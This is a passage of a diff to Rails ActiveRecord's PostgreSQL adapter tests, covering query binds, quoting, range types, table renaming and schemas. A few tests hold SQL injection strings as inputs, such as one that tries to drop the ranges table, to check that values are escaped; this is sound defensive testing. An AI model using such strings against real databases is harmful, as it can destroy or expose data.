-        assert_equal [['1', 'foo']], result.rows
+        with_example_table do
+          result = @connection.exec_query('SELECT id, data FROM ex')
+          assert_equal 0, result.rows.length
+          assert_equal 2, result.columns.length
+          assert_equal %w{ id data }, result.columns
+
+          string = @connection.quote('foo')
+          @connection.exec_query("INSERT INTO ex (id, data) VALUES (1, #{string})")
+          result = @connection.exec_query('SELECT id, data FROM ex')
+          assert_equal 1, result.rows.length
+          assert_equal 2, result.columns.length
+
+          assert_equal [['1', 'foo']], result.rows
+        end
       end
 
       def test_exec_with_binds
-        string = @connection.quote('foo')
-        @connection.exec_query("INSERT INTO ex (id, data) VALUES (1, #{string})")
-        result = @connection.exec_query(
-          'SELECT id, data FROM ex WHERE id = $1', nil, [[nil, 1]])
+        with_example_table do
+          string = @connection.quote('foo')
+          @connection.exec_query("INSERT INTO ex (id, data) VALUES (1, #{string})")
+          result = @connection.exec_query(
+                                          'SELECT id, data FROM ex WHERE id = $1', nil, [bind_param(1)])
 
-        assert_equal 1, result.rows.length
-        assert_equal 2, result.columns.length
+          assert_equal 1, result.rows.length
+          assert_equal 2, result.columns.length
 
-        assert_equal [['1', 'foo']], result.rows
+          assert_equal [['1', 'foo']], result.rows
+        end
       end
 
       def test_exec_typecasts_bind_vals
-        string = @connection.quote('foo')
-        @connection.exec_query("INSERT INTO ex (id, data) VALUES (1, #{string})")
+        with_example_table do
+          string = @connection.quote('foo')
+          @connection.exec_query("INSERT INTO ex (id, data) VALUES (1, #{string})")
 
-        column = @connection.columns('ex').find { |col| col.name == 'id' }
-        result = @connection.exec_query(
-          'SELECT id, data FROM ex WHERE id = $1', nil, [[column, '1-fuu']])
+          bind = ActiveRecord::Relation::QueryAttribute.new("id", "1-fuu", ActiveRecord::Type::Integer.new)
+          result = @connection.exec_query(
+                                          'SELECT id, data FROM ex WHERE id = $1', nil, [bind])
 
-        assert_equal 1, result.rows.length
-        assert_equal 2, result.columns.length
+          assert_equal 1, result.rows.length
+          assert_equal 2, result.columns.length
 
-        assert_equal [['1', 'foo']], result.rows
+          assert_equal [['1', 'foo']], result.rows
+        end
       end
 
       def test_substitute_at
-        bind = @connection.substitute_at(nil, 0)
-        assert_equal Arel.sql('$1'), bind
-
-        bind = @connection.substitute_at(nil, 1)
-        assert_equal Arel.sql('$2'), bind
+        bind = @connection.substitute_at(nil)
+        assert_equal Arel.sql('$1'), bind.to_sql
       end
 
       def test_partial_index
-        @connection.add_index 'ex', %w{ id number }, :name => 'partial', :where => "number > 100"
-        index = @connection.indexes('ex').find { |idx| idx.name == 'partial' }
-        assert_equal "(number > 100)", index.where
+        with_example_table do
+          @connection.add_index 'ex', %w{ id number }, :name => 'partial', :where => "number > 100"
+          index = @connection.indexes('ex').find { |idx| idx.name == 'partial' }
+          assert_equal "(number > 100)", index.where
+        end
       end
 
       def test_columns_for_distinct_zero_orders
@@ -240,6 +336,14 @@ module ActiveRecord
           @connection.columns_for_distinct("posts.id", ["posts.created_at desc", "posts.position asc"])
       end
 
+      def test_columns_for_distinct_with_case
+        assert_equal(
+          'posts.id, CASE WHEN author.is_active THEN UPPER(author.name) ELSE UPPER(author.email) END AS alias_0',
+          @connection.columns_for_distinct('posts.id',
+            ["CASE WHEN author.is_active THEN UPPER(author.name) ELSE UPPER(author.email) END"])
+        )
+      end
+
       def test_columns_for_distinct_blank_not_nil_orders
         assert_equal "posts.id, posts.created_at AS alias_0",
           @connection.columns_for_distinct("posts.id", ["posts.created_at desc", "", "   "])
@@ -259,18 +363,83 @@ module ActiveRecord
         assert_equal "posts.title, posts.updater_id AS alias_0", @connection.columns_for_distinct("posts.title", ["posts.updater_id desc nulls last"])
       end
 
+      def test_columns_for_distinct_without_order_specifiers
+        assert_equal "posts.title, posts.updater_id AS alias_0",
+          @connection.columns_for_distinct("posts.title", ["posts.updater_id"])
+
+        assert_equal "posts.title, posts.updater_id AS alias_0",
+          @connection.columns_for_distinct("posts.title", ["posts.updater_id nulls last"])
+
+        assert_equal "posts.title, posts.updater_id AS alias_0",
+          @connection.columns_for_distinct("posts.title", ["posts.updater_id nulls first"])
+      end
+
       def test_raise_error_when_cannot_translate_exception
         assert_raise TypeError do
           @connection.send(:log, nil) { @connection.execute(nil) }
         end
       end
 
+      def test_reload_type_map_for_newly_defined_types
+        @connection.execute "CREATE TYPE feeling AS ENUM ('good', 'bad')"
+        result = @connection.select_all "SELECT 'good'::feeling"
+        assert_instance_of(PostgreSQLAdapter::OID::Enum,
+                           result.column_types["feeling"])
+      ensure
+        @connection.execute "DROP TYPE IF EXISTS feeling"
+        reset_connection
+      end
+
+      def test_only_reload_type_map_once_for_every_unknown_type
+        silence_warnings do
+          assert_queries 2, ignore_none: true do
+            @connection.select_all "SELECT NULL::anyelement"
+          end
+          assert_queries 1, ignore_none: true do
+            @connection.select_all "SELECT NULL::anyelement"
+          end
+          assert_queries 2, ignore_none: true do
+            @connection.select_all "SELECT NULL::anyarray"
+          end
+        end
+      ensure
+        reset_connection
+      end
+
+      def test_only_warn_on_first_encounter_of_unknown_oid
+        warning = capture(:stderr) {
+          @connection.select_all "SELECT NULL::anyelement"
+          @connection.select_all "SELECT NULL::anyelement"
+          @connection.select_all "SELECT NULL::anyelement"
+        }
+        assert_match(/\Aunknown OID \d+: failed to recognize type of 'anyelement'. It will be treated as String.\n\z/, warning)
+      ensure
+        reset_connection
+      end
+
+      def test_unparsed_defaults_are_at_least_set_when_saving
+        with_example_table "id SERIAL PRIMARY KEY, number INTEGER NOT NULL DEFAULT (4 + 4) * 2 / 4" do
+          number_klass = Class.new(ActiveRecord::Base) do
+            self.table_name = 'ex'
+          end
+          column = number_klass.columns_hash["number"]
+          assert_nil column.default
+          assert_nil column.default_function
+
+          first_number = number_klass.new
+          assert_nil first_number.number
+
+          first_number.save!
+          assert_equal 4, first_number.reload.number
+        end
+      end
+
       private
       def insert(ctx, data)
-        binds   = data.map { |name, value|
-          [ctx.columns('ex').find { |x| x.name == name }, value]
+        binds = data.map { |name, value|
+          bind_param(value, name)
         }
-        columns = binds.map(&:first).map(&:name)
+        columns = binds.map(&:name)
 
         bind_subs = columns.length.times.map { |x| "$#{x + 1}" }
 
@@ -280,9 +449,17 @@ module ActiveRecord
         ctx.exec_insert(sql, 'SQL', binds)
       end
 
+      def with_example_table(definition = 'id serial primary key, number integer, data character varying(255)', &block)
+        super(@connection, 'ex', definition, &block)
+      end
+
       def connection_without_insert_returning
         ActiveRecord::Base.postgresql_connection(ActiveRecord::Base.configurations['arunit'].merge(:insert_returning => false))
       end
+
+      def bind_param(value, name = nil)
+        ActiveRecord::Relation::QueryAttribute.new(name, value, ActiveRecord::Type::Value.new)
+      end
     end
   end
 end
diff --git a/activerecord/test/cases/adapters/postgresql/quoting_test.rb b/activerecord/test/cases/adapters/postgresql/quoting_test.rb
index 1122f8b9a1..60baacf67a 100644
--- a/activerecord/test/cases/adapters/postgresql/quoting_test.rb
+++ b/activerecord/test/cases/adapters/postgresql/quoting_test.rb
@@ -10,52 +10,33 @@ module ActiveRecord
         end
 
         def test_type_cast_true
-          c = Column.new(nil, 1, 'boolean')
-          assert_equal 't', @conn.type_cast(true, nil)
-          assert_equal 't', @conn.type_cast(true, c)
+          assert_equal 't', @conn.type_cast(true)
         end
 
         def test_type_cast_false
-          c = Column.new(nil, 1, 'boolean')
-          assert_equal 'f', @conn.type_cast(false, nil)
-          assert_equal 'f', @conn.type_cast(false, c)
-        end
-
-        def test_type_cast_cidr
-          ip = IPAddr.new('255.0.0.0/8')
-          c = Column.new(nil, ip, 'cidr')
-          assert_equal ip, @conn.type_cast(ip, c)
-        end
-
-        def test_type_cast_inet
-          ip = IPAddr.new('255.1.0.0/8')
-          c = Column.new(nil, ip, 'inet')
-          assert_equal ip, @conn.type_cast(ip, c)
+          assert_equal 'f', @conn.type_cast(false)
         end
 
         def test_quote_float_nan
           nan = 0.0/0
-          c = Column.new(nil, 1, 'float')
-          assert_equal "'NaN'", @conn.quote(nan, c)
+          assert_equal "'NaN'", @conn.quote(nan)
         end
 
         def test_quote_float_infinity
           infinity = 1.0/0
-          c = Column.new(nil, 1, 'float')
-          assert_equal "'Infinity'", @conn.quote(infinity, c)
+          assert_equal "'Infinity'", @conn.quote(infinity)
         end
 
-        def test_quote_cast_numeric
-          fixnum = 666
-          c = Column.new(nil, nil, 'varchar')
-          assert_equal "'666'", @conn.quote(fixnum, c)
-          c = Column.new(nil, nil, 'text')
-          assert_equal "'666'", @conn.quote(fixnum, c)
+        def test_quote_range
+          range = "1,2]'; SELECT * FROM users; --".."a"
+          type = OID::Range.new(Type::Integer.new, :int8range)
+          assert_equal "'[1,0]'", @conn.quote(type.type_cast_for_database(range))
         end
 
-        def test_quote_time_usec
-          assert_equal "'1970-01-01 00:00:00.000000'", @conn.quote(Time.at(0))
-          assert_equal "'1970-01-01 00:00:00.000000'", @conn.quote(Time.at(0).to_datetime)
+        def test_quote_bit_string
+          value = "'); SELECT * FROM users; /*\n01\n*/--"
+          type = OID::Bit.new
+          assert_equal nil, @conn.quote(type.type_cast_for_database(value))
         end
       end
     end
diff --git a/activerecord/test/cases/adapters/postgresql/range_test.rb b/activerecord/test/cases/adapters/postgresql/range_test.rb
new file mode 100644
index 0000000000..70cf21100a
--- /dev/null
+++ b/activerecord/test/cases/adapters/postgresql/range_test.rb
@@ -0,0 +1,301 @@
+require "cases/helper"
+require 'support/connection_helper'
+
+if ActiveRecord::Base.connection.supports_ranges?
+  class PostgresqlRange < ActiveRecord::Base
+    self.table_name = "postgresql_ranges"
+  end
+
+  class PostgresqlRangeTest < ActiveRecord::TestCase
+    self.use_transactional_fixtures = false
+    include ConnectionHelper
+
+    def setup
+      @connection = PostgresqlRange.connection
+      begin
+        @connection.transaction do
+          @connection.execute <<_SQL
+            CREATE TYPE floatrange AS RANGE (
+                subtype = float8,
+                subtype_diff = float8mi
+            );
+_SQL
+
+          @connection.create_table('postgresql_ranges') do |t|
+            t.daterange :date_range
+            t.numrange :num_range
+            t.tsrange :ts_range
+            t.tstzrange :tstz_range
+            t.int4range :int4_range
+            t.int8range :int8_range
+          end
+
+          @connection.add_column 'postgresql_ranges', 'float_range', 'floatrange'
+        end
+        PostgresqlRange.reset_column_information
+      rescue ActiveRecord::StatementInvalid
+        skip "do not test on PG without range"
+      end
+
+      insert_range(id: 101,
+                   date_range: "[''2012-01-02'', ''2012-01-04'']",
+                   num_range: "[0.1, 0.2]",
+                   ts_range: "[''2010-01-01 14:30'', ''2011-01-01 14:30'']",
+                   tstz_range: "[''2010-01-01 14:30:00+05'', ''2011-01-01 14:30:00-03'']",
+                   int4_range: "[1, 10]",
+                   int8_range: "[10, 100]",
+                   float_range: "[0.5, 0.7]")
+
+      insert_range(id: 102,
+                   date_range: "[''2012-01-02'', ''2012-01-04'')",
+                   num_range: "[0.1, 0.2)",
+                   ts_range: "[''2010-01-01 14:30'', ''2011-01-01 14:30'')",
+                   tstz_range: "[''2010-01-01 14:30:00+05'', ''2011-01-01 14:30:00-03'')",
+                   int4_range: "[1, 10)",
+                   int8_range: "[10, 100)",
+                   float_range: "[0.5, 0.7)")
+
+      insert_range(id: 103,
+                   date_range: "[''2012-01-02'',]",
+                   num_range: "[0.1,]",
+                   ts_range: "[''2010-01-01 14:30'',]",
+                   tstz_range: "[''2010-01-01 14:30:00+05'',]",
+                   int4_range: "[1,]",
+                   int8_range: "[10,]",
+                   float_range: "[0.5,]")
+
+      insert_range(id: 104,
+                   date_range: "[,]",
+                   num_range: "[,]",
+                   ts_range: "[,]",
+                   tstz_range: "[,]",
+                   int4_range: "[,]",
+                   int8_range: "[,]",
+                   float_range: "[,]")
+
+      insert_range(id: 105,
+                   date_range: "[''2012-01-02'', ''2012-01-02'')",
+                   num_range: "[0.1, 0.1)",
+                   ts_range: "[''2010-01-01 14:30'', ''2010-01-01 14:30'')",
+                   tstz_range: "[''2010-01-01 14:30:00+05'', ''2010-01-01 06:30:00-03'')",
+                   int4_range: "[1, 1)",
+                   int8_range: "[10, 10)",
+                   float_range: "[0.5, 0.5)")
+
+      @new_range = PostgresqlRange.new
+      @first_range = PostgresqlRange.find(101)
+      @second_range = PostgresqlRange.find(102)
+      @third_range = PostgresqlRange.find(103)
+      @fourth_range = PostgresqlRange.find(104)
+      @empty_range = PostgresqlRange.find(105)
+    end
+
+    teardown do
+      @connection.execute 'DROP TABLE IF EXISTS postgresql_ranges'
+      @connection.execute 'DROP TYPE IF EXISTS floatrange'
+      reset_connection
+    end
+
+    def test_data_type_of_range_types
+      assert_equal :daterange, @first_range.column_for_attribute(:date_range).type
+      assert_equal :numrange, @first_range.column_for_attribute(:num_range).type
+      assert_equal :tsrange, @first_range.column_for_attribute(:ts_range).type
+      assert_equal :tstzrange, @first_range.column_for_attribute(:tstz_range).type
+      assert_equal :int4range, @first_range.column_for_attribute(:int4_range).type
+      assert_equal :int8range, @first_range.column_for_attribute(:int8_range).type
+    end
+
+    def test_int4range_values
+      assert_equal 1...11, @first_range.int4_range
+      assert_equal 1...10, @second_range.int4_range
+      assert_equal 1...Float::INFINITY, @third_range.int4_range
+      assert_equal(-Float::INFINITY...Float::INFINITY, @fourth_range.int4_range)
+      assert_nil @empty_range.int4_range
+    end
+
+    def test_int8range_values
+      assert_equal 10...101, @first_range.int8_range
+      assert_equal 10...100, @second_range.int8_range
+      assert_equal 10...Float::INFINITY, @third_range.int8_range
+      assert_equal(-Float::INFINITY...Float::INFINITY, @fourth_range.int8_range)
+      assert_nil @empty_range.int8_range
+    end
+
+    def test_daterange_values
+      assert_equal Date.new(2012, 1, 2)...Date.new(2012, 1, 5), @first_range.date_range
+      assert_equal Date.new(2012, 1, 2)...Date.new(2012, 1, 4), @second_range.date_range
+      assert_equal Date.new(2012, 1, 2)...Float::INFINITY, @third_range.date_range
+      assert_equal(-Float::INFINITY...Float::INFINITY, @fourth_range.date_range)
+      assert_nil @empty_range.date_range
+    end
+
+    def test_numrange_values
+      assert_equal BigDecimal.new('0.1')..BigDecimal.new('0.2'), @first_range.num_range
+      assert_equal BigDecimal.new('0.1')...BigDecimal.new('0.2'), @second_range.num_range
+      assert_equal BigDecimal.new('0.1')...BigDecimal.new('Infinity'), @third_range.num_range
+      assert_equal BigDecimal.new('-Infinity')...BigDecimal.new('Infinity'), @fourth_range.num_range
+      assert_nil @empty_range.num_range
+    end
+
+    def test_tsrange_values
+      tz = ::ActiveRecord::Base.default_timezone
+      assert_equal Time.send(tz, 2010, 1, 1, 14, 30, 0)..Time.send(tz, 2011, 1, 1, 14, 30, 0), @first_range.ts_range
+      assert_equal Time.send(tz, 2010, 1, 1, 14, 30, 0)...Time.send(tz, 2011, 1, 1, 14, 30, 0), @second_range.ts_range
+      assert_equal(-Float::INFINITY...Float::INFINITY, @fourth_range.ts_range)
+      assert_nil @empty_range.ts_range
+    end
+
+    def test_tstzrange_values
+      assert_equal Time.parse('2010-01-01 09:30:00 UTC')..Time.parse('2011-01-01 17:30:00 UTC'), @first_range.tstz_range
+      assert_equal Time.parse('2010-01-01 09:30:00 UTC')...Time.parse('2011-01-01 17:30:00 UTC'), @second_range.tstz_range
+      assert_equal(-Float::INFINITY...Float::INFINITY, @fourth_range.tstz_range)
+      assert_nil @empty_range.tstz_range
+    end
+
+    def test_custom_range_values
+      assert_equal 0.5..0.7, @first_range.float_range
+      assert_equal 0.5...0.7, @second_range.float_range
+      assert_equal 0.5...Float::INFINITY, @third_range.float_range
+      assert_equal(-Float::INFINITY...Float::INFINITY, @fourth_range.float_range)
+      assert_nil @empty_range.float_range
+    end
+
+    def test_create_tstzrange
+      tstzrange = Time.parse('2010-01-01 14:30:00 +0100')...Time.parse('2011-02-02 14:30:00 CDT')
+      round_trip(@new_range, :tstz_range, tstzrange)
+      assert_equal @new_range.tstz_range, tstzrange
+      assert_equal @new_range.tstz_range, Time.parse('2010-01-01 13:30:00 UTC')...Time.parse('2011-02-02 19:30:00 UTC')
+    end
+
+    def test_update_tstzrange
+      assert_equal_round_trip(@first_range, :tstz_range,
+                              Time.parse('2010-01-01 14:30:00 CDT')...Time.parse('2011-02-02 14:30:00 CET'))
+      assert_nil_round_trip(@first_range, :tstz_range,
+                            Time.parse('2010-01-01 14:30:00 +0100')...Time.parse('2010-01-01 13:30:00 +0000'))
+    end
+
+    def test_create_tsrange
+      tz = ::ActiveRecord::Base.default_timezone
+      assert_equal_round_trip(@new_range, :ts_range,
+                              Time.send(tz, 2010, 1, 1, 14, 30, 0)...Time.send(tz, 2011, 2, 2, 14, 30, 0))
+    end
+
+    def test_update_tsrange
+      tz = ::ActiveRecord::Base.default_timezone
+      assert_equal_round_trip(@first_range, :ts_range,
+                              Time.send(tz, 2010, 1, 1, 14, 30, 0)...Time.send(tz, 2011, 2, 2, 14, 30, 0))
+      assert_nil_round_trip(@first_range, :ts_range,
+                            Time.send(tz, 2010, 1, 1, 14, 30, 0)...Time.send(tz, 2010, 1, 1, 14, 30, 0))
+    end
+
+    def test_create_numrange
+      assert_equal_round_trip(@new_range, :num_range,
+                              BigDecimal.new('0.5')...BigDecimal.new('1'))
+    end
+
+    def test_update_numrange
+      assert_equal_round_trip(@first_range, :num_range,
+                              BigDecimal.new('0.5')...BigDecimal.new('1'))
+      assert_nil_round_trip(@first_range, :num_range,
+                            BigDecimal.new('0.5')...BigDecimal.new('0.5'))
+    end
+
+    def test_create_daterange
+      assert_equal_round_trip(@new_range, :date_range,
+                              Range.new(Date.new(2012, 1, 1), Date.new(2013, 1, 1), true))
+    end
+
+    def test_update_daterange
+      assert_equal_round_trip(@first_range, :date_range,
+                              Date.new(2012, 2, 3)...Date.new(2012, 2, 10))
+      assert_nil_round_trip(@first_range, :date_range,
+                            Date.new(2012, 2, 3)...Date.new(2012, 2, 3))
+    end
+
+    def test_create_int4range
+      assert_equal_round_trip(@new_range, :int4_range, Range.new(3, 50, true))
+    end
+
+    def test_update_int4range
+      assert_equal_round_trip(@first_range, :int4_range, 6...10)
+      assert_nil_round_trip(@first_range, :int4_range, 3...3)
+    end
+
+    def test_create_int8range
+      assert_equal_round_trip(@new_range, :int8_range, Range.new(30, 50, true))
+    end
+
+    def test_update_int8range
+      assert_equal_round_trip(@first_range, :int8_range, 60000...10000000)
+      assert_nil_round_trip(@first_range, :int8_range, 39999...39999)
+    end
+
+    def test_exclude_beginning_for_subtypes_without_succ_method_is_not_supported
+      assert_raises(ArgumentError) { PostgresqlRange.create!(num_range: "(0.1, 0.2]") }
+      assert_raises(ArgumentError) { PostgresqlRange.create!(float_range: "(0.5, 0.7]") }
+      assert_raises(ArgumentError) { PostgresqlRange.create!(int4_range: "(1, 10]") }
+      assert_raises(ArgumentError) { PostgresqlRange.create!(int8_range: "(10, 100]") }
+      assert_raises(ArgumentError) { PostgresqlRange.create!(date_range: "(''2012-01-02'', ''2012-01-04'']") }
+      assert_raises(ArgumentError) { PostgresqlRange.create!(ts_range: "(''2010-01-01 14:30'', ''2011-01-01 14:30'']") }
+      assert_raises(ArgumentError) { PostgresqlRange.create!(tstz_range: "(''2010-01-01 14:30:00+05'', ''2011-01-01 14:30:00-03'']") }
+    end
+
+    def test_update_all_with_ranges
+      PostgresqlRange.create!
+
+      PostgresqlRange.update_all(int8_range: 1..100)
+
+      assert_equal 1...101, PostgresqlRange.first.int8_range
+    end
+
+    def test_ranges_correctly_escape_input
+      range = "-1,2]'; DROP TABLE postgresql_ranges; --".."a"
+      PostgresqlRange.update_all(int8_range: range)
+
+      assert_nothing_raised do
+        PostgresqlRange.first
+      end
+    end
+
+    private
+      def assert_equal_round_trip(range, attribute, value)
+        round_trip(range, attribute, value)
+        assert_equal value, range.public_send(attribute)
+      end
+
+      def assert_nil_round_trip(range, attribute, value)
+        round_trip(range, attribute, value)
+        assert_nil range.public_send(attribute)
+      end
+
+      def round_trip(range, attribute, value)
+        range.public_send "#{attribute}=", value
+        assert range.save
+        assert range.reload
+      end
+
+      def insert_range(values)
+        @connection.execute <<-SQL
+          INSERT INTO postgresql_ranges (
+            id,
+            date_range,
+            num_range,
+            ts_range,
+            tstz_range,
+            int4_range,
+            int8_range,
+            float_range
+          ) VALUES (
+            #{values[:id]},
+            '#{values[:date_range]}',
+            '#{values[:num_range]}',
+            '#{values[:ts_range]}',
+            '#{values[:tstz_range]}',
+            '#{values[:int4_range]}',
+            '#{values[:int8_range]}',
+            '#{values[:float_range]}'
+          )
+        SQL
+      end
+  end
+end
diff --git a/activerecord/test/cases/adapters/postgresql/rename_table_test.rb b/activerecord/test/cases/adapters/postgresql/rename_table_test.rb
new file mode 100644
index 0000000000..056a035622
--- /dev/null
+++ b/activerecord/test/cases/adapters/postgresql/rename_table_test.rb
@@ -0,0 +1,34 @@
+require "cases/helper"
+
+class PostgresqlRenameTableTest < ActiveRecord::TestCase
+  def setup
+    @connection = ActiveRecord::Base.connection
+    @connection.create_table :before_rename, force: true
+  end
+
+  def teardown
+    @connection.execute 'DROP TABLE IF EXISTS "before_rename"'
+    @connection.execute 'DROP TABLE IF EXISTS "after_rename"'
+  end
+
+  test "renaming a table also renames the primary key index" do
+    # sanity check
+    assert_equal 1, num_indices_named("before_rename_pkey")
+    assert_equal 0, num_indices_named("after_rename_pkey")
+
+    @connection.rename_table :before_rename, :after_rename
+
+    assert_equal 0, num_indices_named("before_rename_pkey")
+    assert_equal 1, num_indices_named("after_rename_pkey")
+  end
+
+  private
+
+  def num_indices_named(name)
+    @connection.execute(<<-SQL).values.length
+      SELECT 1 FROM "pg_index"
+        JOIN "pg_class" ON "pg_index"."indexrelid" = "pg_class"."oid"
+        WHERE "pg_class"."relname" = '#{name}'
+    SQL
+  end
+end
diff --git a/activerecord/test/cases/adapters/postgresql/schema_authorization_test.rb b/activerecord/test/cases/adapters/postgresql/schema_authorization_test.rb
index d5e1838543..6937145439 100644
--- a/activerecord/test/cases/adapters/postgresql/schema_authorization_test.rb
+++ b/activerecord/test/cases/adapters/postgresql/schema_authorization_test.rb
@@ -27,7 +27,7 @@ class SchemaAuthorizationTest < ActiveRecord::TestCase
     end
   end
 
-  def teardown
+  teardown do
     set_session_auth
     @connection.execute "RESET search_path"
     USERS.each do |u|
@@ -55,7 +55,7 @@ class SchemaAuthorizationTest < ActiveRecord::TestCase
       set_session_auth
       USERS.each do |u|
         set_session_auth u
-        assert_equal u, @connection.exec_query("SELECT name FROM #{TABLE_NAME} WHERE id = $1", 'SQL', [[nil, 1]]).first['name']
+        assert_equal u, @connection.exec_query("SELECT name FROM #{TABLE_NAME} WHERE id = $1", 'SQL', [bind_param(1)]).first['name']
         set_session_auth
       end
     end
@@ -67,7 +67,7 @@ class SchemaAuthorizationTest < ActiveRecord::TestCase
       USERS.each do |u|
         @connection.clear_cache!
         set_session_auth u
-        assert_equal u, @connection.exec_query("SELECT name FROM #{TABLE_NAME} WHERE id = $1", 'SQL', [[nil, 1]]).first['name']
+        assert_equal u, @connection.exec_query("SELECT name FROM #{TABLE_NAME} WHERE id = $1", 'SQL', [bind_param(1)]).first['name']
         set_session_auth
       end
     end
@@ -111,4 +111,7 @@ class SchemaAuthorizationTest < ActiveRecord::TestCase
        @connection.session_auth =  auth || 'default'
     end
 
+    def bind_param(value)
+      ActiveRecord::Relation::QueryAttribute.new(nil, value, ActiveRecord::Type::Value.new)
+    end
 end
diff --git a/activerecord/test/cases/adapters/postgresql/schema_test.rb b/activerecord/test/cases/adapters/postgresql/schema_test.rb
index e8dd188ec8..83e35ad1a1 100644
--- a/activerecord/test/cases/adapters/postgresql/schema_test.rb
+++ b/activerecord/test/cases/adapters/postgresql/schema_test.rb
@@ -1,4 +1,6 @@
 require "cases/helper"
+require 'models/default'
+require 'support/schema_dumping_helper'
 
 class SchemaTest < ActiveRecord::TestCase
   self.use_transactional_fixtures = false
@@ -50,6 +52,16 @@ class SchemaTest < ActiveRecord::TestCase
     self.table_name = 'things'
   end
 
+  class Song < ActiveRecord::Base
+    self.table_name = "music.songs"
+    has_and_belongs_to_many :albums
+  end
+
+  class Album < ActiveRecord::Base
+    self.table_name = "music.albums"
+    has_and_belongs_to_many :songs
+  end
+
   def setup
     @connection = ActiveRecord::Base.connection
     @connection.execute "CREATE SCHEMA #{SCHEMA_NAME} CREATE TABLE #{TABLE_NAME} (#{COLUMNS.join(',')})"
@@ -71,13 +83,13 @@ class SchemaTest < ActiveRecord::TestCase
     @connection.execute "CREATE TABLE #{SCHEMA_NAME}.#{UNMATCHED_PK_TABLE_NAME} (id integer NOT NULL DEFAULT nextval('#{SCHEMA_NAME}.#{UNMATCHED_SEQUENCE_NAME}'::regclass), CONSTRAINT unmatched_pkey PRIMARY KEY (id))"
   end
 
-  def teardown
+  teardown do
     @connection.execute "DROP SCHEMA #{SCHEMA2_NAME} CASCADE"
     @connection.execute "DROP SCHEMA #{SCHEMA_NAME} CASCADE"
   end
 
   def test_schema_names
-    assert_equal ["public", "schema_1", "test_schema", "test_schema2"], @connection.schema_names
+    assert_equal ["public", "test_schema", "test_schema2"], @connection.schema_names
   end
 
   def test_create_schema
@@ -109,18 +121,40 @@ class SchemaTest < ActiveRecord::TestCase
     assert !@connection.schema_names.include?("test_schema3")
   end
 
+  def test_habtm_table_name_with_schema
+    ActiveRecord::Base.connection.execute <<-SQL
+      DROP SCHEMA IF EXISTS music CASCADE;
+      CREATE SCHEMA music;
+      CREATE TABLE music.albums (id serial primary key);
+      CREATE TABLE music.songs (id serial primary key);
+      CREATE TABLE music.albums_songs (album_id integer, song_id integer);
+    SQL
+
+    song = Song.create
+    Album.create
+    assert_equal song, Song.includes(:albums).references(:albums).first
+  ensure
+    ActiveRecord::Base.connection.execute "DROP SCHEMA music CASCADE;"
+  end
+
   def test_raise_drop_schema_with_nonexisting_schema
     assert_raises(ActiveRecord::StatementInvalid) do
       @connection.drop_schema "test_schema3"
     end
   end
 
+  def test_raise_wraped_exception_on_bad_prepare
+    assert_raises(ActiveRecord::StatementInvalid) do
+      @connection.exec_query "select * from developers where id = ?", 'sql', [[nil, 1]]
+    end
+  end
+
   def test_schema_change_with_prepared_stmt
     altered = false
-    @connection.exec_query "select * from developers where id = $1", 'sql', [[nil, 1]]
+    @connection.exec_query "select * from developers where id = $1", 'sql', [bind_param(1)]
     @connection.exec_query "alter table developers add column zomg int", 'sql', []
     altered = true
-    @connection.exec_query "select * from developers where id = $1", 'sql', [[nil, 1]]
+    @connection.exec_query "select * from developers where id = $1", 'sql', [bind_param(1)]
   ensure
     # We are not using DROP COLUMN IF EXISTS because that syntax is only
     # supported by pg 9.X
@@ -240,6 +274,18 @@ class SchemaTest < ActiveRecord::TestCase
     assert_nothing_raised { with_schema_search_path nil }
   end
 
+  def test_index_name_exists
+    with_schema_search_path(SCHEMA_NAME) do
+      assert @connection.index_name_exists?(TABLE_NAME, INDEX_A_NAME, true)
+      assert @connection.index_name_exists?(TABLE_NAME, INDEX_B_NAME, true)
+      assert @connection.index_name_exists?(TABLE_NAME, INDEX_C_NAME, true)
+      assert @connection.index_name_exists?(TABLE_NAME, INDEX_D_NAME, true)
+      assert @connection.index_name_exists?(TABLE_NAME, INDEX_E_NAME, true)
+      assert @connection.index_name_exists?(TABLE_NAME, INDEX_E_NAME, true)
+      assert_not @connection.index_name_exists?(TABLE_NAME, 'missing_index', true)
+    end
+  end
+
   def test_dump_indexes_for_schema_one
     do_dump_index_tests_for_schema(SCHEMA_NAME, INDEX_A_COLUMN, INDEX_B_COLUMN_S1, INDEX_D_COLUMN, INDEX_E_COLUMN)
   end
@@ -253,13 +299,13 @@ class SchemaTest < ActiveRecord::TestCase
   end
 
   def test_with_uppercase_index_name
-    ActiveRecord::Base.connection.execute "CREATE INDEX \"things_Index\" ON #{SCHEMA_NAME}.things (name)"
-    assert_nothing_raised { ActiveRecord::Base.connection.remove_index! "things", "#{SCHEMA_NAME}.things_Index"}
+    @connection.execute "CREATE INDEX \"things_Index\" ON #{SCHEMA_NAME}.things (name)"
+    assert_nothing_raised { @connection.remove_index! "things", "#{SCHEMA_NAME}.things_Index"}
+    @connection.execute "CREATE INDEX \"things_Index\" ON #{SCHEMA_NAME}.things (name)"
 
-    ActiveRecord::Base.connection.execute "CREATE INDEX \"things_Index\" ON #{SCHEMA_NAME}.things (name)"
-    ActiveRecord::Base.connection.schema_search_path = SCHEMA_NAME
-    assert_nothing_raised { ActiveRecord::Base.connection.remove_index! "things", "things_Index"}
-    ActiveRecord::Base.connection.schema_search_path = "public"
+    with_schema_search_path SCHEMA_NAME do
+      assert_nothing_raised { @connection.remove_index! "things", "things_Index"}
+    end
   end
 
   def test_primary_key_with_schema_specified
@@ -287,14 +333,15 @@ class SchemaTest < ActiveRecord::TestCase
   end
 
   def test_pk_and_sequence_for_with_schema_specified
+    pg_name = ActiveRecord::ConnectionAdapters::PostgreSQL::Name
     [
       %("#{SCHEMA_NAME}"."#{PK_TABLE_NAME}"),
       %("#{SCHEMA_NAME}"."#{UNMATCHED_PK_TABLE_NAME}")
     ].each do |given|
       pk, seq = @connection.pk_and_sequence_for(given)
       assert_equal 'id', pk, "primary key should be found when table referenced as #{given}"
-      assert_equal "#{PK_TABLE_NAME}_id_seq", seq, "sequence name should be found when table referenced as #{given}" if given == %("#{SCHEMA_NAME}"."#{PK_TABLE_NAME}")
-      assert_equal "#{UNMATCHED_SEQUENCE_NAME}", seq, "sequence name should be found when table referenced as #{given}" if given ==  %("#{SCHEMA_NAME}"."#{UNMATCHED_PK_TABLE_NAME}")
+      assert_equal pg_name.new(SCHEMA_NAME, "#{PK_TABLE_NAME}_id_seq"), seq, "sequence name should be found when table referenced as #{given}" if given == %("#{SCHEMA_NAME}"."#{PK_TABLE_NAME}")
